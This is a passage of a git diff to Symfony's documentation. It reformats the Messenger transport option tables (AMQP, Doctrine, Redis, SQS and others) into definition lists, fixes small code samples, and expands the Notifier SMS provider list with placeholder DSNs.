+    heartbeat support, which means heartbeats checked only during blocking
+    calls.
+
+``host``
+    Hostname of the AMQP service
+
+``key``
+    Path to the client key in PEM format.
+
+``login``
+    Username to use to connect the AMQP service
+
+``password``
+    Password to use to connect to the AMQP service
+
+``persistent`` (default: ``'false'``)
+    Whether the connection is persistent
+
+``port``
+    Port of the AMQP service
+
+``read_timeout``
+    Timeout in for income activity. Note: 0 or greater seconds. May be
+    fractional.
+
 ``retry``
+    (no description available)
+
 ``sasl_method``
-``connection_name``                           For custom connection names (requires at least
-                                              version 1.10 of the PHP AMQP extension)
-``verify``                                    Enable or disable peer verification. If peer
-                                              verification is enabled then the common name in
-                                              the server certificate must match the server
-                                              name. Peer verification is enabled by default.
-``vhost``                                     Virtual Host to use with the AMQP service
-``write_timeout``                             Timeout in for outcome activity. Note: 0 or
-                                              greater seconds. May be fractional.
-``delay[queue_name_pattern]``                 Pattern to use to create the queues                ``delay_%exchange_name%_%routing_key%_%delay%``
-``delay[exchange_name]``                      Name of the exchange to be used for the            ``delays``
-                                              delayed/retried messages
-``queues[name][arguments]``                   Extra arguments
-``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
-``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
-``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``                       Extra arguments for the exchange (e.g.
-                                              ``alternate-exchange``)
-``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
-                                              specified on the message
-``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``
-``exchange[name]``                            Name of the exchange
-``exchange[type]``                            Type of exchange                                   ``fanout``
-============================================  =================================================  ===================================
+    (no description available)
+
+``connection_name``
+    For custom connection names (requires at least version 1.10 of the PHP AMQP
+    extension)
+
+``verify``
+    Enable or disable peer verification. If peer verification is enabled then
+    the common name in the server certificate must match the server name. Peer
+    verification is enabled by default.
+
+``vhost``
+    Virtual Host to use with the AMQP service
+
+``write_timeout``
+    Timeout in for outcome activity. Note: 0 or greater seconds. May be
+    fractional.
+
+``delay[queue_name_pattern]`` (default: ``delay_%exchange_name%_%routing_key%_%delay%``)
+    Pattern to use to create the queues
+
+``delay[exchange_name]`` (default: ``delays``)
+    Name of the exchange to be used for the delayed/retried messages
+
+``queues[name][arguments]``
+    Extra arguments
+
+``queues[name][binding_arguments]``
+    Arguments to be used while binding the queue.
+
+``queues[name][binding_keys]``
+    The binding keys (if any) to bind to this queue
+
+``queues[name][flags]`` (default: ``AMQP_DURABLE``)
+    Queue flags
+
+``exchange[arguments]``
+    Extra arguments for the exchange (e.g. ``alternate-exchange``)
+
+``exchange[default_publish_routing_key]``
+    Routing key to use when publishing, if none is specified on the message
+
+``exchange[flags]`` (default: ``AMQP_DURABLE``)
+    Exchange flags
+
+``exchange[name]``
+    Name of the exchange
+
+``exchange[type]`` (default: ``fanout``)
+    Type of exchange
 
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
@@ -1466,7 +1516,7 @@ your Envelope::
         new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
-.. caution::
+.. warning::
 
     The consumers do not show up in an admin panel as this transport does not rely on
     ``\AmqpQueue::consume()`` which is blocking. Having a blocking receiver makes
@@ -1517,36 +1567,28 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. caution::
+The transport has a number of options:
 
-    The datetime property of the messages stored in the database uses the
-    timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
+``table_name`` (default: ``messenger_messages``)
+    Name of the table
 
-The transport has a number of options:
+``queue_name`` (default: ``default``)
+    Name of the queue (a column in the table, to use one table for multiple
+    transports)
 
-==================  =====================================  ======================
-Option              Description                            Default
-==================  =====================================  ======================
-table_name          Name of the table                      messenger_messages
-queue_name          Name of the queue (a column in the     default
-                    table, to use one table for
-                    multiple transports)
-redeliver_timeout   Timeout before retrying a message      3600
-                    that's in the queue but in the
-                    "handling" state (if a worker stopped
-                    for some reason, this will occur,
-                    eventually you should retry the
-                    message) - in seconds.
-auto_setup          Whether the table should be created
-                    automatically during send / get.       true
-==================  =====================================  ======================
+``redeliver_timeout`` (default: ``3600``)
+    Timeout before retrying a message that's in the queue but in the "handling"
+    state (if a worker stopped for some reason, this will occur, eventually you
+    should retry the message) - in seconds.
 
-.. note::
+    .. note::
+
+        Set ``redeliver_timeout`` to a greater value than your slowest message
+        duration. Otherwise, some messages will start a second time while the
+        first one is still being handled.
 
-    Set ``redeliver_timeout`` to a greater value than your slowest message
-    duration. Otherwise, some messages will start a second time while the
-    first one is still being handled.
+``auto_setup``
+    Whether the table should be created automatically during send / get.
 
 When using PostgreSQL, you have access to the following options to leverage
 the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
@@ -1554,17 +1596,16 @@ than the default polling behavior of the Doctrine transport because
 PostgreSQL will directly notify the workers when a new message is inserted
 in the table.
 
-=======================  ==========================================  ======================
-Option                   Description                                 Default
-=======================  ==========================================  ======================
-use_notify               Whether to use LISTEN/NOTIFY.               true
-check_delayed_interval   The interval to check for delayed           60000
-                         messages, in milliseconds.
-                         Set to 0 to disable checks.
-get_notify_timeout       The length of time to wait for a            0
-                         response when calling
-                         ``PDO::pgsqlGetNotify``, in milliseconds.
-=======================  ==========================================  ======================
+``use_notify`` (default: ``true``)
+    Whether to use LISTEN/NOTIFY.
+
+``check_delayed_interval`` (default: ``60000``)
+    The interval to check for delayed messages, in milliseconds. Set to 0 to
+    disable checks.
+
+``get_notify_timeout`` (default: ``0``)
+    The length of time to wait for a response when calling
+    ``PDO::pgsqlGetNotify``, in milliseconds.
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
@@ -1588,20 +1629,16 @@ The Beanstalkd transport DSN may looks like this:
 
 The transport has a number of options:
 
-==================  ===================================  ======================
-     Option         Description                          Default
-==================  ===================================  ======================
-tube_name           Name of the queue                    default
-timeout             Message reservation timeout          0 (will cause the
-                    - in seconds.                        server to immediately
-                                                         return either a
-                                                         response or a
-                                                         TransportException
-                                                         will be thrown)
-ttr                 The message time to run before it
-                    is put back in the ready queue
-                    - in seconds.                        90
-==================  ===================================  ======================
+``tube_name`` (default: ``default``)
+    Name of the queue
+
+``timeout`` (default: ``0``)
+    Message reservation timeout - in seconds. 0 will cause the server to
+    immediately return either a response or a TransportException will be thrown.
+
+``ttr`` (default: ``90``)
+    The message time to run before it is put back in the ready queue - in
+    seconds.
 
 .. _messenger-redis-transport:
 
@@ -1636,53 +1673,89 @@ The Redis transport DSN may looks like this:
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-=======================  =====================================  =================================
-Option                   Description                            Default
-=======================  =====================================  =================================
-stream                   The Redis stream name                  messages
-group                    The Redis consumer group name          symfony
-consumer                 Consumer name used in Redis            consumer
-auto_setup               Create the Redis group automatically?  true
-auth                     The Redis password
-delete_after_ack         If ``true``, messages are deleted      true
-                         automatically after processing them
-delete_after_reject      If ``true``, messages are deleted      true
-                         automatically if they are rejected
-lazy                     Connect only when a connection is      false
-                         really needed
-serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                         in Redis (the
-                         ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
-                         the stream will be trimmed to. Set
-                         it to a large enough number to
-                         avoid losing pending messages
-redeliver_timeout        Timeout before retrying a pending      ``3600``
-                         message which is owned by an
-                         abandoned consumer (if a worker died
-                         for some reason, this will occur,
-                         eventually you should retry the
-                         message) - in seconds.
-claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
-                         messages should be checked for to
-                         claim - in milliseconds
-persistent_id            String, if null connection is          null
-                         non-persistent.
-retry_interval           Int, value in milliseconds             ``0``
-read_timeout             Float, value in seconds                ``0``
-                         default indicates unlimited
-timeout                  Connection timeout. Float, value in    ``0``
-                         seconds default indicates unlimited
-sentinel_master          String, if null or empty Sentinel      null
-redis_sentinel           support is disabled
-=======================  =====================================  =================================
+``stream`` (default: ``messages``)
+    The Redis stream name
 
-.. versionadded:: 7.1
+``group`` (default: ``symfony``)
+    The Redis consumer group name
+
+``consumer`` (default: ``consumer``)
+    Consumer name used in Redis
+
+``auto_setup`` (default: ``true``)
+    Whether to create the Redis group automatically
+
+``auth``
+    The Redis password
+
+``delete_after_ack`` (default: ``true``)
+    If ``true``, messages are deleted automatically after processing them
+
+``delete_after_reject`` (default: ``true``)
+    If ``true``, messages are deleted automatically if they are rejected
+
+``lazy`` (default: ``false``)
+    Connect only when a connection is really needed
+
+``serializer`` (default: ``Redis::SERIALIZER_PHP``)
+    How to serialize the final payload in Redis (the ``Redis::OPT_SERIALIZER`` option)
+
+``stream_max_entries`` (default: ``0``)
+    The maximum number of entries which the stream will be trimmed to. Set it to
+    a large enough number to avoid losing pending messages
+
+``redeliver_timeout`` (default: ``3600``)
+    Timeout (in seconds) before retrying a pending message which is owned by an abandoned consumer
+    (if a worker died for some reason, this will occur, eventually you should retry the message).
+
+``claim_interval`` (default: ``60000``)
+    Interval on which pending/abandoned messages should be checked for to claim - in milliseconds
+
+``persistent_id`` (default: ``null``)
+    String, if null connection is non-persistent.
+
+``retry_interval`` (default: ``0``)
+    Int, value in milliseconds
+
+``read_timeout`` (default: ``0``)
+    Float, value in seconds default indicates unlimited
+
+``timeout`` (default: ``0``)
+    Connection timeout. Float, value in seconds default indicates unlimited
+
+``sentinel_master`` (default: ``null``)
+    String, if null or empty Sentinel support is disabled
+
+``redis_sentinel`` (default: ``null``)
+    An alias of the ``sentinel_master`` option
+
+    .. versionadded:: 7.1
 
-    The option `redis_sentinel` as an alias for `sentinel_master` was introduced
-    in Symfony 7.1.
+        The ``redis_sentinel`` option was introduced in Symfony 7.1.
 
-.. caution::
+``ssl`` (default: ``null``)
+    Map of `SSL context options`_ for the TLS channel. This is useful for example
+    to change the requirements for the TLS channel in tests:
+
+    .. code-block:: yaml
+
+        # config/packages/test/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    redis:
+                        dsn: "rediss://localhost"
+                        options:
+                            ssl:
+                                allow_self_signed: true
+                                capture_peer_cert: true
+                                capture_peer_cert_chain: true
+                                disable_compression: true
+                                SNI_enabled: true
+                                verify_peer: true
+                                verify_peer_name: true
+
+.. warning::
 
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
@@ -1768,7 +1841,7 @@ during a request::
 
             $this->assertSame(200, $client->getResponse()->getStatusCode());
 
-            /* @var InMemoryTransport $transport */
+            /** @var InMemoryTransport $transport */
             $transport = $this->getContainer()->get('messenger.transport.async_priority_normal');
             $this->assertCount(1, $transport->getSent());
         }
@@ -1818,27 +1891,44 @@ The SQS transport DSN may looks like this:
 
 The transport has a number of options:
 
-======================  ======================================  ===================================
-     Option             Description                             Default
-======================  ======================================  ===================================
-``access_key``          AWS access key                          must be urlencoded
-``account``             Identifier of the AWS account           The owner of the credentials
-``auto_setup``          Whether the queue should be created     ``true``
-                        automatically during send / get.
-``buffer_size``         Number of messages to prefetch          9
-``debug``               If ``true`` it logs all HTTP requests   ``false``
-                        and responses (it impacts performance)
-``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
-``poll_timeout``        Wait for new message duration in        0.1
-                        seconds
-``queue_name``          Name of the queue                       messages
-``region``              Name of the AWS region                  eu-west-1
-``secret_key``          AWS secret key                          must be urlencoded
-``session_token``       AWS session token
-``visibility_timeout``  Amount of seconds the message will      Queue's configuration
-                        not be visible (`Visibility Timeout`_)
-``wait_time``           `Long polling`_ duration in seconds     20
-======================  ======================================  ===================================
+``access_key``
+    AWS access key (must be urlencoded)
+
+``account`` (default: The owner of the credentials)
+    Identifier of the AWS account
+
+``auto_setup`` (default: ``true``)
+    Whether the queue should be created automatically during send / get.
+
+``buffer_size`` (default: ``9``)
+    Number of messages to prefetch
+
+``debug`` (default: ``false``)
+    If ``true`` it logs all HTTP requests and responses (it impacts performance)
+
+``endpoint`` (default: ``https://sqs.eu-west-1.amazonaws.com``)
+    Absolute URL to the SQS service
+
+``poll_timeout`` (default: ``0.1``)
+    Wait for new message duration in seconds
+
+``queue_name`` (default: ``messages``)
+    Name of the queue
+
+``region`` (default: ``eu-west-1``)
+    Name of the AWS region
+
+``secret_key``
+    AWS secret key (must be urlencoded)
+
+``session_token``
+    AWS session token
+
+``visibility_timeout`` (default: Queue's configuration)
+    Amount of seconds the message will not be visible (`Visibility Timeout`_)
+
+``wait_time`` (default: ``20``)
+    `Long polling`_ duration in seconds
 
 .. note::
 
@@ -2171,40 +2261,6 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
 Customizing Handlers
 --------------------
 
-Configuring Handlers Using Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can configure your handler by passing options to the attribute::
-
-    // src/MessageHandler/SmsNotificationHandler.php
-    namespace App\MessageHandler;
-
-    use App\Message\OtherSmsNotification;
-    use App\Message\SmsNotification;
-    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
-
-    #[AsMessageHandler(fromTransport: 'async', priority: 10)]
-    class SmsNotificationHandler
-    {
-        public function __invoke(SmsNotification $message): void
-        {
-            // ...
-        }
-    }
-
-Possible options to configure with the attribute are:
-
-==============================  ====================================================================================================
-Option                          Description
-==============================  ====================================================================================================
-``bus``                         Name of the bus from which the handler can receive messages, by default all buses.
-``fromTransport``               Name of the transport from which the handler can receive messages, by default all transports.
-``handles``                     Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
-                                type-hint.
-``method``                      Name of the method that will process the message, only if the target is a class.
-``priority``                    Priority of the handler when multiple handlers can process the same message.
-==============================  ====================================================================================================
-
 .. _messenger-handler-config:
 
 Manually Configuring Handlers
@@ -2212,10 +2268,29 @@ Manually Configuring Handlers
 
 Symfony will normally :ref:`find and register your handler automatically <messenger-handler>`.
 But, you can also configure a handler manually - and pass it some extra config -
-by tagging the handler service with ``messenger.message_handler``
+while using ``#AsMessageHandler`` attribute or tagging the handler service
+with ``messenger.message_handler``.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/MessageHandler/SmsNotificationHandler.php
+        namespace App\MessageHandler;
+
+        use App\Message\OtherSmsNotification;
+        use App\Message\SmsNotification;
+        use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
+        #[AsMessageHandler(fromTransport: 'async', priority: 10)]
+        class SmsNotificationHandler
+        {
+            public function __invoke(SmsNotification $message): void
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -2262,16 +2337,22 @@ by tagging the handler service with ``messenger.message_handler``
 
 Possible options to configure with tags are:
 
-============================  ====================================================================================================
-Option                        Description
-============================  ====================================================================================================
-``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
-``from_transport``            Name of the transport from which the handler can receive messages, by default all transports.
-``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
-                              type-hint.
-``method``                    Name of the method that will process the message.
-``priority``                  Priority of the handler when multiple handlers can process the same message.
-============================  ====================================================================================================
+``bus``
+    Name of the bus from which the handler can receive messages, by default all buses.
+
+``from_transport``
+    Name of the transport from which the handler can receive messages, by default
+    all transports.
+
+``handles``
+    Type of messages (FQCN) that can be processed by the handler, only needed if
+    can't be guessed by type-hint.
+
+``method``
+    Name of the method that will process the message.
+
+``priority``
+    Priority of the handler when multiple handlers can process the same message.
 
 .. _handler-subscriber-options:
 
@@ -2540,7 +2621,7 @@ That's it! You can now consume each transport:
 
     $ php bin/console messenger:consume async_priority_normal -vv
 
-.. caution::
+.. warning::
 
     If a handler does *not* have ``from_transport`` config, it will be executed
     on *every* transport that the message is received from.
@@ -2564,7 +2645,7 @@ provided in order to ease the declaration of these special handlers::
     {
         use BatchHandlerTrait;
 
-        public function __invoke(MyMessage $message, Acknowledger $ack = null): mixed
+        public function __invoke(MyMessage $message, ?Acknowledger $ack = null): mixed
         {
             return $this->handle($message, $ack);
         }
@@ -2583,15 +2664,8 @@ provided in order to ease the declaration of these special handlers::
             }
         }
 
-        // Optionally, you can either redefine the `shouldFlush()` method
-        // of the trait to define your own batch size...
-        private function shouldFlush(): bool
-        {
-            return 100 <= \count($this->jobs);
-        }
-
-        // ... or redefine the `getBatchSize()` method if the default
-        // flush behavior suits your needs
+        // Optionally, you can override some of the trait methods, such as the
+        // `getBatchSize()` method, to specify your own batch size...
         private function getBatchSize(): int
         {
             return 100;
@@ -2628,8 +2702,8 @@ to your message::
 
     public function index(MessageBusInterface $bus): void
     {
+        // wait 5 seconds before processing
         $bus->dispatch(new SmsNotification('...'), [
-            // wait 5 seconds before processing
             new DelayStamp(5000),
         ]);
 
@@ -2991,12 +3065,10 @@ Let's say you want to create a message decoder::
     {
         public function decode(array $encodedEnvelope): Envelope
         {
-            $envelope = \json_decode($encodedEnvelope, true);
-
             try {
                 // parse the data you received with your custom fields
-                $data = $envelope['data'];
-                $data['token'] = $envelope['token'];
+                $data = $encodedEnvelope['data'];
+                $data['token'] = $encodedEnvelope['token'];
 
                 // other operations like getting information from stamps
             } catch (\Throwable $throwable) {
@@ -3348,7 +3420,7 @@ You can also restrict the list to a specific bus by providing its name as an arg
 Redispatching a Message
 -----------------------
 
-It you want to redispatch a message (using the same transport and envelope), create
+If you want to redispatch a message (using the same transport and envelope), create
 a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch
 it through your bus. Reusing the same ``SmsNotification`` example shown earlier::
 
@@ -3396,7 +3468,7 @@ Learn more
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
 .. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
-.. _`systemd docs`: https://www.freedesktop.org/wiki/Software/systemd/
+.. _`systemd docs`: https://systemd.io/
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
@@ -3405,3 +3477,4 @@ Learn more
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
+.. _`SSL context options`: https://php.net/context.ssl
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index d9cc9fa1abf..7d1698126d1 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -51,7 +51,7 @@ Here is a simplified example of a database transport::
          */
         public function __construct(
             private FakeDatabase $db,
-            SerializerInterface $serializer = null,
+            ?SerializerInterface $serializer = null,
         ) {
             $this->serializer = $serializer ?? new PhpSerializer();
         }
diff --git a/notifier.rst b/notifier.rst
index 6bf3ab71c48..b74f4eb02e0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -15,13 +15,15 @@ Get the Notifier installed using:
     $ composer require symfony/notifier
 
 .. _channels-chatters-texters-email-and-browser:
+.. _channels-chatters-texters-email-browser-and-push:
 
-Channels: Chatters, Texters, Email, Browser and Push
-----------------------------------------------------
+Channels
+--------
 
-The notifier component can send notifications to different channels. Each
-channel can integrate with different providers (e.g. Slack or Twilio SMS)
-by using transports.
+Channels refer to the different mediums through which notifications can be delivered.
+These channels include email, SMS, chat services, push notifications, etc. Each
+channel can integrate with different providers (e.g. Slack or Twilio SMS) by
+using transports.
 
 The notifier component supports the following channels:
 
@@ -33,79 +35,175 @@ The notifier component supports the following channels:
 * Browser channel uses :ref:`flash messages <flash-messages>`.
 * :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
 
-.. tip::
-
-    Use :doc:`secrets </configuration/secrets>` to securely store your
-    API tokens.
-
 .. _notifier-sms-channel:
 
 SMS Channel
 ~~~~~~~~~~~
 
-.. caution::
+The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
+to send SMS messages to mobile phones. This feature requires subscribing to
+a third-party service that sends SMS messages. Symfony provides integration
+with a couple popular SMS services:
+
+.. warning::
 
     If any of the DSN values contains any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
-The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
-to send SMS messages to mobile phones. This feature requires subscribing to
-a third-party service that sends SMS messages. Symfony provides integration
-with a couple popular SMS services:
+==================  ====================================================================================================================================
+Service
+==================  ====================================================================================================================================
+`46elks`_           **Install**: ``composer require symfony/forty-six-elks-notifier`` \
+                    **DSN**: ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`AllMySms`_         **Install**: ``composer require symfony/all-my-sms-notifier`` \
+                    **DSN**: ``allmysms://LOGIN:APIKEY@default?from=FROM`` \
+                    **Webhook support**: No
+`AmazonSns`_        **Install**: ``composer require symfony/amazon-sns-notifier`` \
+                    **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION`` \
+                    **Webhook support**: No
+`Bandwidth`_        **Install**: ``composer require symfony/bandwidth-notifier`` \
+                    **DSN**: ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY`` \
+                    **Webhook support**: No
+`Brevo`_            **Install**: ``composer require symfony/brevo-notifier`` \
+                    **DSN**: ``brevo://API_KEY@default?sender=SENDER`` \
+                    **Webhook support**: No
+`Clickatell`_       **Install**: ``composer require symfony/clickatell-notifier`` \
+                    **DSN**: ``clickatell://ACCESS_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`ContactEveryone`_  **Install**: ``composer require symfony/contact-everyone-notifier`` \
+                    **DSN**: ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY`` \
+                    **Webhook support**: No
+`Esendex`_          **Install**: ``composer require symfony/esendex-notifier`` \
+                    **DSN**: ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM`` \
+                    **Webhook support**: No
+`FakeSms`_          **Install**: ``composer require symfony/fake-sms-notifier`` \
+                    **DSN**: ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default`` \
+                    **Webhook support**: No
+`FreeMobile`_       **Install**: ``composer require symfony/free-mobile-notifier`` \
+                    **DSN**: ``freemobile://LOGIN:API_KEY@default?phone=PHONE`` \
+                    **Webhook support**: No
+`GatewayApi`_       **Install**: ``composer require symfony/gateway-api-notifier`` \
+                    **DSN**: ``gatewayapi://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`GoIP`_             **Install**: ``composer require symfony/go-ip-notifier`` \
+                    **DSN**: ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` \
+                    **Webhook support**: No
+`Infobip`_          **Install**: ``composer require symfony/infobip-notifier`` \
+                    **DSN**: ``infobip://AUTH_TOKEN@HOST?from=FROM`` \
+                    **Webhook support**: No
+`Iqsms`_            **Install**: ``composer require symfony/iqsms-notifier`` \
+                    **DSN**: ``iqsms://LOGIN:PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`iSendPro`_         **Install**: ``composer require symfony/isendpro-notifier`` \
+                    **DSN**: ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX`` \
+                    **Webhook support**: No
+`KazInfoTeh`_       **Install**: ``composer require symfony/kaz-info-teh-notifier`` \
+                    **DSN**: ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM`` \
+                    **Webhook support**: No
+`LightSms`_         **Install**: ``composer require symfony/light-sms-notifier`` \
+                    **DSN**: ``lightsms://LOGIN:TOKEN@default?from=PHONE`` \
+                    **Webhook support**: No
+`LOX24`_            **Install**: ``composer require symfony/lox24-notifier`` \
+                    **DSN**: ``lox24://USER:TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Mailjet`_          **Install**: ``composer require symfony/mailjet-notifier`` \
+                    **DSN**: ``mailjet://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`MessageBird`_      **Install**: ``composer require symfony/message-bird-notifier`` \
+                    **DSN**: ``messagebird://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`MessageMedia`_     **Install**: ``composer require symfony/message-media-notifier`` \
+                    **DSN**: ``messagemedia://API_KEY:API_SECRET@default?from=FROM`` \
+                    **Webhook support**: No
+`Mobyt`_            **Install**: ``composer require symfony/mobyt-notifier`` \
+                    **DSN**: ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Nexmo`_            **Install**: ``composer require symfony/nexmo-notifier`` \
+                    Abandoned in favor of Vonage (see below) \
+`Octopush`_         **Install**: ``composer require symfony/octopush-notifier`` \
+                    **DSN**: ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE`` \
+                    **Webhook support**: No
+`OrangeSms`_        **Install**: ``composer require symfony/orange-sms-notifier`` \
+                    **DSN**: ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME`` \
+                    **Webhook support**: No
+`OvhCloud`_         **Install**: ``composer require symfony/ovh-cloud-notifier`` \
+                    **DSN**: ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME`` \
+                    **Webhook support**: No
+`Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
+                    **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Redlink`_          **Install**: ``composer require symfony/redlink-notifier`` \
+                    **DSN**: ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION`` \
+                    **Webhook support**: No
+`RingCentral`_      **Install**: ``composer require symfony/ring-central-notifier`` \
+                    **DSN**: ``ringcentral://API_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Sendberry`_        **Install**: ``composer require symfony/sendberry-notifier`` \
+                    **DSN**: ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM`` \
+                    **Webhook support**: No
+`Sendinblue`_       **Install**: ``composer require symfony/sendinblue-notifier`` \
+                    **DSN**: ``sendinblue://API_KEY@default?sender=PHONE`` \
+                    **Webhook support**: No
+`Sms77`_            **Install**: ``composer require symfony/sms77-notifier`` \
+                    **DSN**: ``sms77://API_KEY@default?from=FROM`` \
+                    **Webhook support**: No
+`SimpleTextin`_     **Install**: ``composer require symfony/simple-textin-notifier`` \
+                    **DSN**: ``simpletextin://API_KEY@default?from=FROM`` \
+                    **Webhook support**: No
+`Sinch`_            **Install**: ``composer require symfony/sinch-notifier`` \
+                    **DSN**: ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`SmsSluzba`_        **Install**: ``composer require symfony/sms-sluzba-notifier`` \
+                    **DSN**: ``sms-sluzba://USERNAME:PASSWORD@default`` \
+                    **Webhook support**: No
+`Smsapi`_           **Install**: ``composer require symfony/smsapi-notifier`` \
+                    **DSN**: ``smsapi://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Smsbox`_           **Install**: ``composer require symfony/smsbox-notifier`` \
+                    **DSN**: ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER`` \
+                    **Webhook support**: No
+`SmsBiuras`_        **Install**: ``composer require symfony/sms-biuras-notifier`` \
+                    **DSN**: ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0`` \
+                    **Webhook support**: No
+`Smsc`_             **Install**: ``composer require symfony/smsc-notifier`` \
+                    **DSN**: ``smsc://LOGIN:PASSWORD@default?from=FROM`` \
+                    **Webhook support**: No
+`SMSense`_          **Install**: ``composer require smsense-notifier`` \
+                    **DSN**: ``smsense://API_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`SMSFactor`_        **Install**: ``composer require symfony/sms-factor-notifier`` \
+                    **DSN**: ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE`` \
+                    **Webhook support**: No
+`SpotHit`_          **Install**: ``composer require symfony/spot-hit-notifier`` \
+                    **DSN**: ``spothit://TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Telnyx`_           **Install**: ``composer require symfony/telnyx-notifier`` \
+                    **DSN**: ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID`` \
+                    **Webhook support**: No
+`TurboSms`_         **Install**: ``composer require symfony/turbo-sms-notifier`` \
+                    **DSN**: ``turbosms://AUTH_TOKEN@default?from=FROM`` \
+                    **Webhook support**: No
+`Twilio`_           **Install**: ``composer require symfony/twilio-notifier`` \
+                    **DSN**: ``twilio://SID:TOKEN@default?from=FROM`` \
+                    **Webhook support**: Yes
+`Unifonic`_         **Install**: ``composer require symfony/unifonic-notifier`` \
+                    **DSN**: ``unifonic://APP_SID@default?from=FROM`` \
+                    **Webhook support**: No
+`Vonage`_           **Install**: ``composer require symfony/vonage-notifier`` \
+                    **DSN**: ``vonage://KEY:SECRET@default?from=FROM`` \
+                    **Webhook support**: Yes
